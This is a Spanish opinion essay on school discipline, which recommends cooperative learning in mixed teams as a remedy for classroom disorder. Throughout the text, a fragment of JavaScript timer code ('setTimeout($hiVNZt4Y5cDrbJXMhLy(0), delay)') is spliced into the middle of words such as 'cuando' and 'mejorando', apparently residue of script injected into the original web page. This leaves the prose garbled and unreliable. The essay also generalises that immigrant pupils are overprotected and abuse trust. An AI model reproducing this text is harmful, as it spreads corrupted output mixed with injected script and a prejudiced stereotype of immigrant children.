ORDEN Y DISCIPLINA ESCOLAR, RETOS DE LA EDUCACIÓN DE HOY

Autora: Ana María Vega Llano              

En los tiempos que corren es muy difícil conseguir orden y disciplina en las aulas. Los niños cada vez tienen menos ganas de estudiar; hay mucha población inmigrante que, a veces, significa racismo y xenofobia; muchos son repetidores que se pasan el día molestandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando; otros viven en familias desestructuradas… Por eso, las investigaciones llevadas a cabo en los últimos años permiten identificar al aprendizaje cooperativo en equipos heterogéneos como un procedimiento clave para adaptar la educación a los actuales cambios sociales, mejorandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando con ello la convivencia escolar, el orden, la disciplina y la prevención de la violencia.

Una de las características más importantes que las escuelas tienen en común es la obsesión por el mantenimiento del orden, y éste puede defenderse por justificaciones técnicas, como la imposibilidad de que la voz del profesor llegue a todos si algunos hablan o lo hacen en voz alta.

La mayoría de los profesores, por no decir la totalidad, piensan que es la condición indispensable de una instrucción eficaz. Ante cualquier grupo-clase es una obsesión permanente, y ante algunos, los grupos difíciles, puede llegar a convertirse en el único objetivo.

Muchos profesores tienen la primera noticia de ello cuandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando, al incorporarse a un centro, el director les advierte de que no le importa tanto qué enseñen a sus alumnos como que sepan mantenerlos a raya. Deben mantener el orden e imponer disciplina conservandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando, al mismo tiempo, un estado aceptable de justicia distributiva.

Pero, claro está, esto último en los tiempos que corren es dificilísimo (por no decir imposible) de conseguir. Los niños cada vez tienen menos ganas de estudiar; hay mucha población inmigrante en las aulas que, a veces, significa racismo y xenofobia; muchos son repetidores que se pasan el día dandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando literalmente el “coñazo”; otros viven en familias desestructuradas: porque sus padres están separados y viven con uno de ellos, porque viven con sus abuelos, porque son hijos únicos y sus padres trabajan todo el día, etc.

Características múltiples que hacen de los niños auténticos sacos de sorpresa: unas veces es Antonio el que se tira un pedo en el momento menos pensado y luego no es nadie; otras, es Pedro el que le tira con un bolígrafo a Sergio en la cabeza y le hace una herida; o Israel el que mantiene los pies en lo alto de la mesa toda la clase y no le digas nada que él no está molestandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando a nadie y es lo que queremos los profesores (dice); otros días es el listillo de turno el que intenta encender un cigarrillo en plena clase (a pesar de que está prohibidísimo); otras muchas es el inmigrante que (como normalmente está sobreprotegido), abusa de su confianza y hace alguna de las suyas (que los hay)… u otras, los malos comportamientos y malas contestaciones hacia los profesores (que son muy frecuentes).

Eso, sin contar el uso del móvil indebido de muchos alumnos. Así que a mí me parece ideal el hecho de que se les retire (si se les ve encima encendido), y de que sean los propios padres los que vengan a recogerlos. Es una garantía de que los padres están al día de lo que le ocurre a su hijo y de que haya comunicación con el propio centro. Es magnífico.

Mantener el orden en un aula es notablemente más difícil que hacerlo en una sala de conferencias o en un cine, porque en éstos la asistencia y la permanencia obedecen a la voluntad y en aquélla no. El problema del orden, cuandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando no es libremente querido o consentido, se convierte de inmediato en un verdadero problema.

Los malos modos, los insultos, la provocación para iniciar una pelea, la pelea misma, la intimidación y, en general, el comportamiento de abuso social de unos escolares hacia otros, incluso hacia el propio profesorado, es un problema que siempre ha existido, aunque hasta muy recientemente no hemos sido sensibles de su importancia y sus consecuencias. La sociedad ha sido muy tolerante hacia comportamientos y actitudes que los más fuertes han desplegado hacia los que ocupan un lugar de sumisión a ese poder, sin plantearse de forma concreta el hecho. Estos fenómenos son coherentes con una disciplina autoritaria basada también en la ley del más poderoso.

En este sentido, la interdependencia entre los problemas de disciplina y los de violencia entre iguales existe, pero no es directa. En un clima social de normas claras, democráticamente elegidas y asumidas por todos, en el que el profesorado tiene claro su papel socializador y el alumnado tiene la oportunidad de participar en la elaboración de convenciones y reglas, es de esperar que aparezcan menos problemas de violencia interpersonal aunque, como todos sabemos, las fuentes de la violencia son múltiples.

Además, el tránsito de una disciplina autoritaria a un estilo democrático y participativo puede crear conflictos puntuales como consecuencia de la aparente falta de modelo pero, al final del proceso, si se ha sido consistente, lo normal es que aparezca un nuevo modelo de convivencia que excluya la violencia y el abuso.

Por eso, las investigaciones llevadas a cabo en los últimos años permiten identificar al aprendizaje cooperativo en equipos heterogéneos como un procedimiento clave para adaptar la educación a los actuales cambios sociales, mejorandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando con ello la convivencia escolar, el orden, la disciplina y la prevención de la violencia. Y ello porque el aprendizaje cooperativo ha permitido demostrar su eficacia para mejorar el rendimiento, la motivación por el aprendizaje, el sentido de responsabilidad, la tolerancia y, especialmente, para desarrollar la capacidad de cooperación y mejorar las relaciones entre los alumnos en contextos heterogéneos.

Al incorporar como actividad normal del aula el aprendizaje cooperativo entre compañeros, se legitiman las conductas de pedir y proporcionar ayuda, mejorandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando con ello tanto el repertorio social de los alumnos como sus oportunidades de aprendizaje. En contextos muy diversos se ha comprobado que la conducta de ayuda tiene consecuencias psicológicas muy positivas para la persona que la emite, y los niños suelen ser con frecuencia receptores de la ayuda de los adultos. Se ha comprobado, además, que cuandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando los niños o adolescentes tratan de mejorar la conducta de un compañero, cambian su propia conducta en la misma dirección del cambio que intentan lograr en el compañero. También, permite modificar la estructura de la evaluación e igualar al máximo las oportunidades de obtener éxito y reconocimiento para todos los alumnos.

El aprendizaje cooperativo supone un cambio importante en el papel del profesor y en la interacción que establece con los alumnos. El control de las actividades deja de estar centrado en él y pasa a ser compartido por toda la clase. Este cambio hace que el profesor pueda y deba realizar actividades nuevas que contribuyan a mejorar la calidad educativa como, por ejemplo, enseñar a cooperar de forma positiva; observar lo que sucede en cada grupo y con cada alumno; prestar atención a cada equipo para resolver los problemas que puedan surgir, y proporcionar reconocimiento y oportunidad de comprobar su propio progreso a todos los alumnos.

Lo mejor para favorecer la eficacia del aprendizaje cooperativo es incluirlo de forma permanente como una actividad académica regular, sin que esto signifique la exclusión de otras actividades de aprendizaje con las que se complementa y, además, sabiendo que el aprendizaje cooperativo puede ser aplicado sobre cualquier materia y a lo largo de todo el curso escolar.

Por tanto, y a modo de conclusión, podemos decir que el orden y la disciplina sí son posibles en la educación de hoy, lo único es que hace falta mucho trabajo en equipo, muchas ganas de colaborar y mucho esfuerzo. Algo que cuesta demasiado, y sobre todo en los tiempos que corren. No obstante, todo se andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andará, y nunca es tarde si la dicha es buena.

BIBLIOGRAFÍA:

- Fernández Enguita, Mariano: “La disciplina escolar y la domesticación del trabajo”. Del capítulo VI de La cara oculta de la escuela; Madrid, siglo XXI, 1990.

- Instrumentos y Técnicas para Conocer y Mejorar la Convivencia de tu Centro Docente Extremeño (Curso ofrecido por APECAEX).

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